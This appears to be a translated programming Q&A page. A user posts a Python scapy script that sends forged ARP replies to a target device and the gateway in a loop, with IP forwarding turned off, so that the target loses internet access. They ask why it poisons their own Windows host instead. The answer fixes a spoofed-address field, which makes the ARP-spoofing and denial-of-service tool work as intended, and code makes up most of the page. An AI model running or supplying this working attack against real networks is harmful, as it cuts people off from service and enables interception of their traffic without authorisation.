【问题标题】:Why does my code affect my main machine instead of target machine?为什么我的代码影响我的主机而不是目标机器?
【发布时间】:2023-02-06 11:42:05
【问题描述】:

我试图在 python 中使用 scapy 模块制作一个简单的 M.I.T.M 工具。我的目标是使用此代码切断我的智能手机的互联网。为此,我使用 VMware16 虚拟机在我的 kali 机器上运行代码。但是,它并没有影响我的智能手机,但影响了我的主计算机(它是 Asus,使用的是 windows10)。

当我打开“cmd”并在我的主机中写入“arp -a”时,我看到我的窗口机器的网关地址的mac地址与我的kali机器相同。但是,它不应该,因为我没有将攻击应用于我的主机。这里有什么问题 ?为什么我的窗口网关地址的mac地址变了?你可以自己测试一下,我写了下面的代码。

#! /usr/bin/env/python

from scapy.all import *
import os 

print("Welcome to MAC Spoofing Tool !")

target_ip=input("Please Enter the IP of the target:")
target_mac=input("Please Enter the MAC address of the target:")
own_ip=input("Please Enter your IP:")
own_mac=input("Please Enter your MAC address:")
router_ip=input("Please Enter the IP of gateway:")
router_mac=input("Please Enter the MAC address of gateway:")

def spoof_victim():
    arp_response=ARP()
    arp_response.op=2
    arp_response.pdst=target_ip
    arp_response.hwdst=target_mac
    arp_response.hwsrc=own_mac  
    arp_response.psrc=router_ip
    send(arp_response)

def spoof_router():
    arp_response=ARP()       
    arp_response.op=2
    arp_response.pdst=router_ip
    arp_response.hwdst=router_mac
    arp_response.hwsrc=own_mac  
    arp_response.psrc=own_ip
    send(arp_response)

    
os.system("sysctl -w net.ipv4.ip_forward=0") 

while True:
    spoof_victim()
    spoof_router()
print("spoofing continues")


    
 

【问题讨论】:

    标签: python linux networking windows-10


    【解决方案1】:

    您的 spoof_router 函数为 arp_response.psrc 变量设置了错误的 IP 地址。它应该是你的target_ip,但它是own_ip

    尝试替换这个:

    def spoof_router():
        arp_response=ARP()       
        arp_response.op=2
        arp_response.pdst=router_ip
        arp_response.hwdst=router_mac
        arp_response.hwsrc=own_mac  
        arp_response.psrc=own_ip
        send(arp_response)
    

    有了这个:

    def spoof_router():
        arp_response=ARP()       
        arp_response.op=2
        arp_response.pdst=router_ip
        arp_response.hwdst=router_mac
        arp_response.hwsrc=own_mac  
        arp_response.psrc=target_ip
        send(arp_response)
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2021-10-28
      • 1970-01-01
      • 2019-11-28
      相关资源
      最近更新 更多